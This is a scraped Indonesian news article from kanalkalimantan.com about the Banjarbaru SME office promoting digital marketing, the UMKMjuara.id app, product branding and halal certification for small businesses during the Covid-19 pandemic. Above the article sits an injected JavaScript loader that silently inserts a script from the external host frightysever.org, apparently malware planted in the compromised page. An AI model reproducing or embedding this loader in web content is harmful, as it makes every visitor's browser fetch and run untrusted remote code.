(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Koperasi dan Usaha Kecil Menengah (Diskop UKM) Kota Banjarbaru mengajak pihak swasta, BUMN, akademisi, mahasiswa, serta masyarakat membantu pelaku UKM tetap produktif di tengah pandemi Covid-19.
Kabid Bina Usaha Koperasi Usaha Mikro Kecil Menengah, Asep Saputra mengatakan, di masa pandemi terjadi perubahan pola konsumsi barang dan jasa masyarakat dari offline ke online, pelaku UKM pasti kesulitan mencapai target yang harus dicapai saat perekonomian terganggu.
“Para pelaku UKM di Banjarbaru kebanyakan pelaku usaha 40 tahun ke atas, dan rata-rata 70 persen pelaku usaha didominasi oleh perempuan,” katanya.
Di masa sekarang harus mengikuti perkembangan teknologi agar dapat survive, serta bisa berkembang. Diskop dan UKM Kota Banjarbaru terus melakukan inovasi dalam mengimbangi perkembangan teknologi, mereka melakukan pelatihan serta pendampingan UKM menuju digital marketing.
“Kami membangun aplikasi UMKMjuara.id yang dibuat oleh pihak ketiga, memuat semua portal dan marketplace pengusaha yang ada di Kota Banjarbaru,” tambahnya
Era sekarang, kata Asep, pelaku usaha tidak perlu lagi membuka toko, cukup di rumah gunakan platform dan manfaatkan layanan online yang ada.
Perkembangan UKM di Kota Banjarbaru masih terkendala dalam branding produk. Sehingga perlu adanya campur tangan kaum milenial dalam membantu kemajuan produk UKM.
“Sehingga kami perlu merangkul yang ada di perguruan tinggi untuk membantu para pelaku UKM baik dari segi pembuatan, branding maupun marketingnya,” tambahnya.
Diskop dan UKM Kota Banjarbaru berinisiatif membuat aplikasi data base umkm.banjarbarukota.co.id merangkum baik dari data pelaku UKM, pelatihan hingga bantuan agar tidak terjadi tumpang tindih data.
Disamping perluasan pasar melalui online, Asep menerangkan pihaknya juga melalukan perluasan melalu offline dengan bekerjasama dengan gerai-gerai modern.
“Kita juga ingin menembus pasar lokal yang ada di Kota Banjarbaru,” ungkapnya.
Pemolesan produk yang akan dipasarkan guna terlihat menarik dan memenuhi standar pasar gerai-gerai modern.
“Persaingan tidak dilihat hanya diharga melainkan juga dari segi kemasan,” ujarnya.
Diskop dan UKM Kota Banjarbaru juga memfasilitisi para pelaku UKM dalam mengurus surat perizinan dan sertifikasi halal. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
This website uses cookies.